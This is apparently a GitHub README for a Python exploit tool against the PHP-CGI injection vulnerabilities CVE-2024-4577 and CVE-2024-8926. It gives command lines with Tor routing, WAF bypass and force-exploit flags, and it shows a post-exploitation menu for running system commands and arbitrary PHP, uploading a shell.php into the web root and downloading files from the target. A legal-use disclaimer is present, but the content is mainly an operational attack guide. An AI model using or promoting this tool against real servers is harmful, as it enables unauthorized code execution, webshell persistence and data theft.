night-have-dreams/php-cgi-injector一個測試CVE-2024-4577和CVE-2024-8926的安全滲透工具
🚀 CVE-2024-4577 & CVE-2024-8926 Exploit Tool
Automated testing tool for PHP-CGI parameter injection vulnerabilities, supporting CVE-2024-4577 and CVE-2024-8926, with capabilities for command execution, file upload, download, etc.
This tool can be used to test parameter injection vulnerabilities in PHP-CGI environments and provides:
This tool is for legitimate testing and academic purposes only. Do not use it on unauthorized systems!
⚠️ Illegal use will result in legal liability!
This tool is intended only for:
This tool depends on the following Python packages. Install them first:
pip install -r requirements.txt
Or install manually:
pip install requests requests-tor chardet urllib3 rich
python exploit.py -u URL [--timeout sec] [--delay sec] [--log] [--verbose] [--payload PAYLOAD] [--bypass] [--tor] [--no-effects] [--force] [--cgipoint PATHS...]
Examples:
python exploit.py -u http://example.com --timeout 30 --payload 2 --log --tor --verbose
python exploit.py -u http://example.com --bypass --force
python exploit.py -u http://example.com --cgipoint /php-cgi/php-cgi.exe /cgi-bin/php
| Parameter | Description | Example |
|---|---|---|
-u , --url | Specify target URL | -u http://example.com |
--timeout sec | Set request timeout (0 = unlimited) | --timeout 30 |
--log | Automatically log shell commands | --log |
--payload | Specify or custom Payload combo | --payload 2 |
--tor | Send requests through Tor | --tor |
--verbose | Show detailed information | --verbose |
--bypass | Enable WAF bypass mode | --bypass |
--force | Force exploit mode | --force |
--cgipoint PATHS | Specify specific CGI paths to test | --cgipoint /path |
--delay sec | Delay in seconds between requests | --delay 1.5 |
--no-effects | Disable all animations and delays | --no-effects |
When the script finds a vulnerability, it displays a menu:
╭──────────── Exploit Mode Menu ────────────╮
│ Current Target: http://example.com/ │
│ Current Injection Point: /php-cgi/php-cgi.exe│
│ Vulnerability: CVE-2024-4577 │
╰────────────────────────────────────────────╯
1) 🧪 Shell Mode
2) 🛠️ PHP Custom Mode
3) 📤 Upload File
4) 📥 Download File
5) 🎯 Switch Target
6) ⚙️ Settings
7) ❌ Exit
>>
Execute system commands:
shell> whoami
📂 Save output
shell> whoami --save
shell> whoami --save C:\output\whoami.txt
Execute custom PHP code:
phpinfo();
EOF
📂 Save output
phpinfo();
EOF --save
phpinfo();
EOF --save C:\output\info.html
Local file path: C:\test\shell.php
Target full path:
[*] Auto-set upload path to: C:/xampp/htdocs/shell.php
📂 Manually specify path
Target full path: C:\xampp\php\shell.php
Remote file path: C:\xampp\htdocs\index.php
📂 File saved in download/, with automatic numbering if duplicate
[*] File downloaded, saved in download/index.php
Enter new target URL: http://newtarget.com
🔹 Will re-test vulnerabilities
[⚙️ Exploit Phase Parameter Settings Menu]
1) Switch Payload 1
2) Bypass Module Not selected
3) Timeout 10 seconds
4) Request Delay 0 seconds
5) Auto Log Disabled
6) Verbose Mode Disabled
7) Animation Effects Enabled
8) Force Exploit Disabled
9) Save and Return to Exploit Menu
Provides the following evasion strategies:
php://input with alternative syntax